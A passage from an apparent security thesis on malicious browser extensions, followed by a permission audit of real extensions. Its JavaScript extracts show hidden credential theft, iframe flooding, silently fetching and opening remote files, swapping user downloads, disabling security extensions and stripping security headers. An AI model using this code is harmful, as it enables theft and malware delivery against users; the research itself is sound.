To open a particular web page in an iframe, we use a content script with the `any_frame` option which enables the execution of the content script in all sub-frames of the current web page such as iframes. Our implementation is shown in Code Extract 5.20. We first check if the content script is currently active in the main frame (line 1). If this case applies, we send a message to the extension's background to retrieve a URL (line 2). This is necessary because the content script itself can not store data - in our case a list of targeted URLs - between different instances of itself. Then, we create a new iframe element (line 3), turn it invisible for the user by setting its display property (line 4), set it's source attribute to the given URL which subsequently loads the targeted web page (line 5), and finally add it to the web page's DOM (line 6).

```
1   if(window.self === window.top) {
2       chrome.runtime.sendMessage({get: 'url'}, function(response) {
3           var iframe = document.createElement('iframe');
4           iframe.setAttribute('style', 'display: none;');
5           iframe.setAttribute('src', response.url);
6           document.body.appendChild(iframe);
7       });
8   }
```

Code Extract 5.20: Content script to open a particular web page in an iframe.

The second and third approach work very similar. Both use the browser's tab system to open a particular web page. Therefore, the extension needs the `http://*/*` and `https://*/*` host permissions and for the second approach additionally the `tabs` permission.

The implementation for the second approach, open the targeted web page in an inactive tab, is shown in Code Extract 5.21. First, we query for an inactive tab (line 2) and store its URL (lines 1&3). To access the URL of the web page that is currently displayed in the tab, we need the `tabs` permission. Then, we update the first found tab and load the

targeted web page (line 4). After the tab has finished loading, we inject a content script in the tab which executes a particular attack (lines 5-7). Additionally, the content script will send a message to indicate that is has finished executing the attack. We await this message and update the tab from which the message originates with the stored URL to load the original web page (lines 10-12).

```
1  var storedURL;
2  chrome.tabs.query({ active: false }, function(tabs) {
3      storedURL = tabs[0].url;
4      chrome.tabs.update(tabs[0].id, {url: TARGET_URL}, function(tab) {
5          waitUntilTabHasFinishedLoading(function() {
6              chrome.tabs.executeScript(tab.id, {file: 'content.js'});
7          });
8      });
9  });
10 chrome.runtime.onMessage.addListener(function(message, sender) {
11     chrome.tabs.update(sender.tab.id, {url: storedURL});
12 });
```

Code Extract 5.21: Extension code to open a particular web page in an inactive tab to steal probably stored credentials.

Our implementation for the third technique, open the targeted web page in a new tab in a background window, is shown in Code Extract 5.22. Instead of querying for an inactive tab like before, we query for a tab in a window which is not the currently active window (line 1). Next, we create a new tab in the same window as the queried tab and load the targeted web page (line 2). We wait until the tab has finished loading and then inject a content script with the implementation of a particular attack (lines 3-5). Again, we await the message that the content script has finished and consequently remove the before created tab (line 8-10).

```
1  chrome.tabs.query({ currentWindow: false }, function(tabs) {
2      chrome.tabs.create({ url: TARGET_URL, windowId: tabs[0].windowId },    function(tab) {
3          waitUntilTabHasFinishedLoading(function() {
4              chrome.tabs.executeScript(tab.id, { file: 'content.js' });
5          });
6      });
7  });
8  chrome.runtime.onMessage.addListener(function(message, sender) {
9      chrome.tabs.remove(sender.tab.id);
10 });
```

Code Extract 5.22: Extension code to open a new tab in a background window an load a particular web page to steal probably stored credentials.

We tested our implementations in Chrome, Opera, and Firefox with our attack implementation to steal probably stored crendentials from the browser's password manager which we have shown in Code Extract 5.17. To our surprise, the attack was only successful in Firefox. The reason that the attack does not work in Chrome and Opera is that JavaScript has no access to the value of a password input field before any user interaction with the web page occurred. What first seems like a bug is an intended security feature to prevent exactly this kind of attack [33].

5.3.4 Denial Of Service

An extension can execute unrestricted web requests from within a content script using an iframe element. We use this to implement a Denial of Service attack which we show in Code Extract 5.23. First, we create a new iframe element (line 1), set its CSS property to make it invisible for the user (line 2), and append it to the web page's DOM (line 3). Then, we set the URL for the iframe to fire a HTTP request to the targeted server and add a random number as parameter to prevent that the browser fetches the targeted web page from its cache (line 5). We repeat this procedure at a fixed interval of 50 milliseconds to give the browser time to execute the request (line 4-6).

```
1  var iframe = document.createElement('iframe');
2  iframe.setAttribute('style', 'display:none;');
3  document.body.appendChild(iframe);
4  var interval = setInterval(function() {
5      iframe.setAttribute('src', TARGET_URL + '?' + Math.random());
6  }, 50);
```

Code Extract 5.23: Content Script which executes a DoS attack by calling a URL multiple times with an iframe.

5.3.5 Download Harmful Files

Using the *download* module, an extension is able to monitor and cancel the user's downloads or to initiate a download itself and event to open a downloaded file. We misuse this feature to get access to the user's machine which the extension itself does not have. For that purpose, we download a harmful file which contains malewar or similar on the user's computer and execute it.

We implemented a component that downloads a file and opens it. For that purpose, the extension needs the `downloads` permission and additionally the `downloads.open` permission to open the downloaded file and the `downloads.shelf` permission to hide the download from the user. The `downloads.shelf` permission enables an extension to show or remove the shelf at the bottom of the browser that shows active downloads.

To open a downloaded file, the user has to interact with the extension and deliver some kind of input such as a mouse click. If no user input is given, the browser blocks the opening of a file. In our implementation, we use a content script that adds an on click event to each element of the current web page. If the user clicks any element, we send a message to our background script which also transfers the desired user input and use this to open the file.

We show our implementation in Code Extract 5.24. We start by disabling the download status bar of the browser so that the user does not see the download (line 2). Then, we initiate the download (line 3), wait until it has finished (line 4), and store its browser-internal id (line 5). We await a message from our content script and use the transmitted mouse click to open the downloaded file (lines 8-10). Finally, we delete our file from the browser's list of downloads and re-enable the download status bar to prevent that the user notices our attack (lines 11-12).

```
1  var storedDownloadId = null;
2  chrome.downloads.setShelfEnabled(false);
3  chrome.downloads.download({    url: REMOTE_SERVER_URL, method: 'GET' }, function(downloadId) {
4      waitUntilDownloadHasFinished(function() {
5          storedDownloadId = downloadId;
6      });
7  });
8  chrome.runtime.onMessage.addListener(function() {
9      if(storedDownloadId != null) {
10         chrome.downloads.open(downloadItem.id);
11         chrome.downloads.erase({id: downloadItem.id});
12         chrome.downloads.setShelfEnabled(true);
13     }
14 });
```

Code Extract 5.24: Extension code to download and open a file without the user noticing.

We implemented another approach that cancels a download which the user has initiated and then initiates a download itself of a harmful file with the same name and mime-type as the original one. If the user does not recognize the exchange of the file, he will execute the file and therefore the implemented attack for us.

Our implementation is shown in Code Extract 5.25. First, we create an event listener that is triggered if the user initiates a new download (line 1). We only target files with a particular mime type and therefore check if the downloading file's

mime type matches (line 2). If this is true, we cancel the user's download (line 3), remove the entry from the browser's downloads list and the download status bar (line 4), and initiate the download of a file from our remote server (line 5). We send the name and the mime type of the file that the user wants to download along the request (line 6). This allows us to set the mime type and the filename correctly at our remote server.

```
1  chrome.downloads.onCreated.addListener(function (downloadItem) {
2      if(downloadItem.mime === TARGETED_MIME_TYPE) {
3          chrome.downloads.cancel(downloadItem.id);
4          chrome.downloads.erase({ id: downloadItem.id });
5          chrome.downloads.download({
6              url: REMOTE_SERVER_URL + '?filename=' downloadItem.filename + '&mime_type=' + downloadItem.mime
7              method: 'GET',
8          });
9      }
10 });
```

Code Extract 5.25: Extension code to silently exchange a file that the user currently downloads.

We implemented a similar approach that removes the downloaded file as soon as the download has finished and initiates a second download of a harmful file with the same name and mime-type as the original one. In our implementation shown in Code Extract 5.25 we listen for the user initiating a new download (line 1), check for a particular mime type of the downloading file (line 2), and wait until the download has finished (line 3). To generate a fake file at our remote server, we extract the name of the downloaded file from its full path on the user operating system (line 4). We remove the downloaded file (lines 5-7) and download a harmful fake file (line 8-10). Again, we forward the name and mime type of the downloaded file to our remote server (line 9).

```
1  chrome.downloads.onCreated.addListener(function (downloadItem) {
2      if(downloadItem.mime === TARGETED_MIME_TYPE) {
3          waitUntilDownloadHasFinished(function() {
4              var filename = downloadItem.filename.split('\x5c').pop();
5              chrome.downloads.removeFile(downloadItem.id, function() {
6                  chrome.downloads.erase({ id: downloadItem.id });
7              });
8              chrome.downloads.download({
9                  url: REMOTE_SERVER_URL + '?filename=' downloadItem.filename + '&mime_type=' + downloadItem.
10                 method: 'GET',
11             });
12         });
13     }
14 });
```

Code Extract 5.26: Extension code to silently exchange a file after the user has downloaded it.

5.3.6 Steal Cookies

We implemented two components for our design, that follow different strategies to steal currently stored cookies from the user's browser. Cookies often contain a session id that authenticates the current user to a web application. If we obtain this information, we are able to impersonate the user on this particular web application.

JavaScript in a displayed web page has access to cookies that belong to the same domain as the web page with exception to cookies with the `httpOnly` key set. We use this in our first implementation that uses a single content script in any web page. The cookies are stored inside the DOM and we access them with with `document.cookie`. Obviously, this implementation is restricted to web page's that the user visits while the extension is active and without access to `httpOnly` cookies. Therefore, we implemented the second approach that uses the `cookies` module. Using this module, we have access to all cookies that are currently stored inside the browser without restrictions besides the extension's permissions.

To use it, the extension needs the `cookies` permission and host permissions for any web page such as `http://*/*` and `https://*/*`. We use the method `chrome.cookies.getAll` which accepts an object to filter retrieved cookies based on the cookie's values such as the URL, domain, or its secured state.

5.3.7 Disable Other Extension

In order that other, security relevant extensions do not block our attack implementations, we implemented a component that disables another extension. For that purpose, the extension needs the `management` permission which gives access to the correspondent module. To disable another extension, we need the targeted extension's name. We show our implementation script in Code Extract 5.27. First, we query for all currently installed extensions (line 1), iterate over the returned list (line 2), check if the extension's name equals our targeted extension (line 3), and finally disable the targeted extension (line 4).

```
1  chrome.management.getAll(function(infos) {
2      infos.forEach(function(info) {
3          if(info.name === TARGET_EXTENSION_NAME) {
4              chrome.management.setEnabled(info.id, false);
5          }
6      });
7  });
```

Code Extract 5.27: Extension code to silently disable another extension.

5.3.8 Remove Security Headers

We implemented a component that removes security relevant response headers. We use this implementation to support our component that opens a particular web page in an iframe which we have shown in Section 5.3.3. This attack is hampered by web pages that use the `X-Frame-Option` header, because the browser disallows displaying the web page inside an iframe. By removing this header from the web request's response, we improve the attacks' success rate. Similar, we can support any content script that executes web requests to fetch content. If the web page uses a Content Security Policy that blocks the loading of scripts or other web pages, we can remove the CSP and allow our content script to execute its task.

We show our implementation in Code Extract 5.28. First, we add an event listener that is triggered if the browser receives the headers of a web request's response (line 1). Like we have done for web request listeners before, we state that our listener is triggered on any request, executed in a blocking manner, and has access to the response's headers (line 9). If the listener is triggered, we iterate over all headers (line 2) and compare the header's names (line 3). If it equals our targeted header's name, we remove the header from the list (line 4). Finally we return the modified headers list and consequently continue the web request's processing (line 7).

```
1  chrome.webRequest.onHeadersReceived.addListener(function(details) {
2      details.responseHeaders.forEach(function(header, index){
3          if(header.name.toLowerCase() === TARGETED_HEADER_NAME){
4              details.responseHeaders.splice(index,1);
5          }
6      });
7      return({responseHeaders: details.responseHeaders});
8  },
9  {urls: ['https://*/*', 'http://*/*']}, ['blocking', 'responseHeaders']);
```

Code Extract 5.28: Extension code to remove a probably security relevant header from any incoming web request.

Attack	Needed Permissions
Steal sensitive user data	Content script
Steal form data	Content script
Steal credentials	Content script
Manipulate form values	Content script
Manipulate form target URL	Content script
Manipulate link target URL	Content script
Redirect request	`http://*/*`, `https://*/*`, `webRequest`, `webRequestBlocking`
Execute concealed attack in iframe	Content script
Execute concealed attack in inactive tab	`http://*/*`, `https://*/*`, `tabs`
Execute concealed attack in background window	`http://*/*`, `https://*/*`
Denial of Service	Content script
Download and open file	`downloads`, `downloads.open`, `downloads.shelf`
Exchange a downloaded file	`downloads`
Exchange a currently downloading file	`downloads`
Steal cookies from current web page	Content script
Steal all cookies	`http://*/*`, `https://*/*`, `cookies`
Disable another extension	`management`
Remove request response header	`http://*/*`, `https://*/*`, `webRequest`, `webRequestBlocking`

Table 5.5: Summary of implemented attacks with needed permissions.

The host permissions `http://*/*`, `https://*/*` are interchangeable with an already active content script when executing the attack.

6 Extension Analysis

We want to show that our implementation is indeed applicable to real world extensions. Therefore, we evaluated the permissions of popular extensions and analyzed which of our implemented components we can integrate into them. For that purpose, we compared the extension's declared permissions with the permissions needed for our components.

We fetched the extensions from the Google Chrome Web Store. Unfortunately, the web store does not provide the functionality to sort extension based on the amount of current users. Furthermore, the shown number of current users is cut if it is higher than 10,000,000. Therefore, we had to manually search through the web store and select extensions to evaluate ourself.

In this section we present the results of our extension analysis. The table shown in Table 6.1 provides an overview of analyzed extensions.

Extension	Version	Amount Users
Google Translate	2.0.6	6,049,594
Unlimited Free VPN - Hola	1.11.973	8,419,372

Table 6.1: Summary of analyzed extension

6.1 Google Translate

This extension provides several features to translate single words up to whole pages. It adds a context menu entry for the web page to translate highlighted text. A button in the browser's interface opens a pop-up in which the user can translate entered text or push a button to translate the whole page.

Content Script	Permissions	CSP
`<all_urls>`	activeTab contextMenus storage	unsafe eval inline scripts from `https://translate.googleapis.com`

Table 6.2: Google Translate - Extension's content and permissions.

- Read and change all your data on the websites you visit

List 6.1: Google Translate - Warnings shown on installation.

The extension uses the combination of a non-persistent background page and the `activeTab` permission to inject a content script if the user clicks the extension's context menu entry. However, the extension still injects the same content script in every web page making the activeTab functionality useless. The content script and the JavaScript for the pop-up are compressed. Therefore, we could not provide accurate statements about the code's capabilities. We found the function `eval` used in a way to parse a JSON string to a JavaScript object: `eval("("+a+")")`. The compressed code restricted us to further investigate where the string parameter of the eval function originates, but we assume it is most likely loaded from a remote host.

Proposals To improve the security of the extension itself and its users we propose to remove the unnecessary automatic injection of the content script. The use of the activeTab permission increases the security for the user, because the extension is only active when the user invokes it. Furthermore, we propose to remove the eval function because it is a common source of Cross-Site-Scripting attacks. The parameter given to eval may either be a simple JSON object or a whole JavaScript as a string. Due to the compressed state of the code, we were not able to figure out which case applies.

- Steal user data from every web page
- Store an persistent identifier
- Execute any remote loaded script

List 6.2: Google Translate - Possible attacks

If only JSON objects are used, we propose the use of `JSON.parse()` as an alternative without the danger of possible Cross-Site-Scripting attacks. If the other case applies, the developers should consider if it is necessary for the extension's purpose to load remote scripts. If the loaded scripts are static, they should be placed inside the extension's installation bundle.

6.2 Unlimited Free VPN - Hola

Hola provides a Virtual Private Network (VPN) as a free of charge extension. It routes the user's traffic through different countries to mask his true location. This allows to bypass regional restrictions on websites. A typical VPN network secures the web requests of its user's by routing the traffic to a few endpoints, masking the web request's origin. But Hola uses the devices of its unpaid customers to route traffic. It turns the user's computer into a VPN server and simultaneously to a VPN endpoint which means that the traffic of other users may exit through his Internet connection and take on his IP address. A Hola user's IP is therefore regularly exposed to the open Internet by traffic from other user's. The user himself has no possibility to control what content is loaded with his IP address as origin. The company makes money by providing the network to paying customers. Those are able to route their own traffic over the network to targeted endpoints.

The paid functionality of Hola has strong similarities with a bot net which is used for denial of service or spmaming attacks. Actually, Hola recently received negative publicity as the owner of the web platform *8chan* claimed that an attacker used the Hola network to perform a DDoS attack against his platform [12]. Thereupon, researchers from the cyber security company *Vectra*[1] analyzed Hola's application and network. They discovered that Hola has - in addition to the public botnet-like functionality of routing huge amounts of targeted traffic - several features which may be used to perform further cyber attacks, such as download and execute any file while bypassing anti virus checking [21].

Content	Permissions	CSP
persistent background page content script `<all_urls>` content script `*://*.hola.org/*`	cookies storage tabs webNavigation webRequest webRequestBlocking `<all_urls>`	unsafe eval inline scripts from 15 different URLs

Table 6.3: Unlimited Free VPN - Hola - Extension's content and permissions

- Read and change all your data on the websites you visit

List 6.3: Unlimited Free VPN - Hola - Warnings shown on installation

Has to be active all the time => persistent background page. Needs to intercept web requests => webRequest API. To many script sources.

[1] Vectra Homepage: `http://www.vectranetworks.com/`

6.3 Evernote Web Clipper

Content	Permissions	CSP

persistent background page
32 content scripts `*://*/*`
2 content scripts `*://*.salesforce.com/*`
content script `*://*.wsj.com/*`
	activeTab
	contextMenus
	cookies
	notifications
	tabs
	unlimitedStorage
	`<all_urls>`
	`chrome://favicon/*`
	`http://*/*`
	`https://*/*`
		inline scripts from
		`https://ssl.google-analytics.com`

Table 6.4: Evernote Web Clipper - Extension's content and permissions

- Read and change all your data on the websites you visit

List 6.4: Evernote Web Clipper - Warnings shown on installation

List of Tables

List of Code Extracts

Bibliography

[1] MDN JavaScript Reference - Don't use eval needlessly! https://developer.mozilla.org/de/docs/Web/JavaScript/Reference/Global_Objects/eval#dont-use-it. [accessed 2015-12-29].

[2] Microsoft Edge extension API roadmap. https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/extension-api-roadmap/. [acessed 2016-07-05].

[3] Mozilla Wiki - WebExtensions. https://wiki.mozilla.org/WebExtensions. [accessed 2015-12-30].

[4] NPAPI:ClearSiteData. https://wiki.mozilla.org/NPAPI:ClearPrivacyData. [accessed 2016-05-25].

[5] Safari Developer Library - Safari Content-Blocking Rules Reference. https://developer.apple.com/library/safari/documentation/Extensions/Conceptual/ContentBlockingRules/Introduction/Introduction.html#//apple_ref/doc/uid/TP40016265. [accessed 2016-01-07].

[6] S. Bandhakavi, N. Tiku, W. Pittman, S. T. King, P. Madhusudan, and M. Winslett. Vetting browser extensions for security vulnerabilities with vex. *Commun. ACM*, 54(9):91–99, Sept. 2011.

[7] A. Barth. The web origin concept. https://tools.ietf.org/html/rfc6454#section-2. [accessed 2016-07-22].

[8] A. Barth, A. P. Felt, P. Saxena, A. Boodman, A. Barth, A. P. Felt, P. Saxena, and A. Boodman. Protecting browsers from extension vulnerabilities. In *in Proceedings of the 17th Network and Distributed System Security Symposium*, 2010.

[9] A. Barth, J. Weinberger, and D. Song. Cross-origin javascript capability leaks: Detection, exploitation, and defense. In *Proceedings of the 18th Conference on USENIX Security Symposium*, SSYM'09, pages 187–198, Berkeley, CA, USA, 2009. USENIX Association.

[10] L. Bauer, S. Cai, L. Jia, T. Passaro, and Y. Tian. Analyzing the dangers posed by Chrome extensions. In *Proceedings of the IEEE Conference on Communications and Network Security*, pages 184–192. IEEE, Oct. 2014.

[11] A. Bovens. Dev.Opera - Major Changes in Opera's Extensions Infrastructure. https://dev.opera.com/articles/major-changes-in-operas-extensions-infrastructure/. [accessed 2015-12-11].

[12] F. Brennman. 8chan - hola. https://8ch.net/hola.html. [accessed 2016-04-10].

[13] N. Carlini, A. P. Felt, and D. Wagner. An evaluation of the google chrome extension security architecture. In *Proceedings of the 21st USENIX Conference on Security Symposium*, Security'12, pages 7–7, Berkeley, CA, USA, 2012. USENIX Association.

[14] M. Dhawan and V. Ganapathy. Analyzing information flow in javascript-based browser extensions. In *Proceedings of the 2009 Annual Computer Security Applications Conference*, ACSAC '09, pages 382–391, Washington, DC, USA, 2009. IEEE Computer Society.

[15] P. Eckersley. How unique is your web browser? In *Proceedings of the 10th International Conference on Privacy Enhancing Technologies*, PETS'10, pages 1–18, Berlin, Heidelberg, 2010. Springer-Verlag.

[16] O. Hallaraker and G. Vigna. Detecting malicious javascript code in mozilla. In *Proceedings of the 10th IEEE International Conference on Engineering of Complex Computer Systems*, ICECCS '05, pages 85–94, Washington, DC, USA, 2005. IEEE Computer Society.

[17] A. S. Incorporated. Actionscript® 3.0 reference for the adobe® flash® platform. http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/text/Font.html#enumerateFonts%28%29. [accessed 2016-06-03].

[18] N. Jagpal, E. Dingle, J.-P. Gravel, P. Mavrommatis, N. Provos, M. A. Rajab, and K. Thomas. Trends and lessons from three years fighting malicious extensions. In *24th USENIX Security Symposium (USENIX Security 15)*, pages 579–593, Washington, D.C., 2015. USENIX Association.

[19] S. Kamkar. evercookie – never forget. http://samy.pl/evercookie/. [accessed 2016-02-26].

[20] A. Kapravelos, C. Grier, N. Chachra, C. Kruegel, G. Vigna, and V. Paxson. Hulk: Eliciting malicious behavior in browser extensions. In *23rd USENIX Security Symposium (USENIX Security 14)*, pages 641–654, San Diego, CA, Aug. 2014. USENIX Association.

[21] V. T. Labs. Technical analysis of hola. http://blog.vectranetworks.com/blog/technical-analysis-of-hola. [accessed 2016-04-10].

[22] L. Liu, X. Zhang, and S. Chen. Botnet with browser extensions. In *Privacy, Security, Risk and Trust (PASSAT) and 2011 IEEE Third Inernational Conference on Social Computing (SocialCom), 2011 IEEE Third International Conference on*, pages 1089–1094. IEEE, 2011.

[23] L. Liu, X. Zhang, V. Inc, G. Yan, and S. Chen. Chrome extensions: Threat analysis and countermeasures. In *In 19th Network and Distributed System Security Symposium (NDSS '12*, 2012.

[24] MDN. The x-frame-options response header. https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options. [accessed 2016-05-24].

[25] K. Mowery, D. Bogenreif, S. Yilek, and H. Shacham. Fingerprinting information in JavaScript implementations. In H. Wang, editor, *Proceedings of W2SP 2011*. IEEE Computer Society, May 2011.

[26] K. Mowery and H. Shacham. Pixel perfect: Fingerprinting canvas in HTML5. In M. Fredrikson, editor, *Proceedings of W2SP 2012*. IEEE Computer Society, May 2012.

[27] N. Nikiforakis, A. Kapravelos, W. Joosen, C. Kruegel, F. Piessens, and G. Vigna. Cookieless monster: Exploring the ecosystem of web-based device fingerprinting. In *Proceedings of the 2013 IEEE Symposium on Security and Privacy*, SP '13, pages 541–555, Washington, DC, USA, 2013. IEEE Computer Society.

[28] L. Olejnik, C. Castelluccia, and A. Janc. Why Johnny Can't Browse in Peace: On the Uniqueness of Web Browsing History Patterns. In *5th Workshop on Hot Topics in Privacy Enhancing Technologies (HotPETs 2012)*, Vigo, Spain, July 2012.

[29] K. Onarlioglu, A. S. Buyukkayhan, W. Robertson, and E. Kirda. Sentinel: Securing Legacy Firefox Extensions. *Computers & Security*, 49(0), 03 2015.

[30] D. Ross, T. Gondrom, and T. Stanley. HTTP Header Field X-Frame-Options. https://tools.ietf.org/html/rfc7034. [accessed 2016-05-24].

[31] P. Stone. Pixel perfect timing attacks with HTML5. Technical report, Context Information Security Ltd, 2013.

[32] M. Ter Louw, J. S. Lim, and V. N. Venkatakrishnan. Extensible web browser security. In *Proceedings of the 4th International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment*, DIMVA '07, pages 1–19, Berlin, Heidelberg, 2007. Springer-Verlag.

[33] vabr@chromium.org. Chromium blog issue 378419. https://bugs.chromium.org/p/chromium/issues/detail?id=378419. [accessed 2016-03-18].

[34] P. Vogt, F. Nentwich, N. Jovanovic, C. Kruegel, E. Kirda, and G. Vigna. Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis. In *Network and Distributed Systems Security Symposium (NDSS)*, 02 2007.

[35] M. West, A. Barth, D. Veditz, and B. Sterne. Content security policy level 2. https://www.w3.org/TR/CSP2/. [accessed 2016-07-22].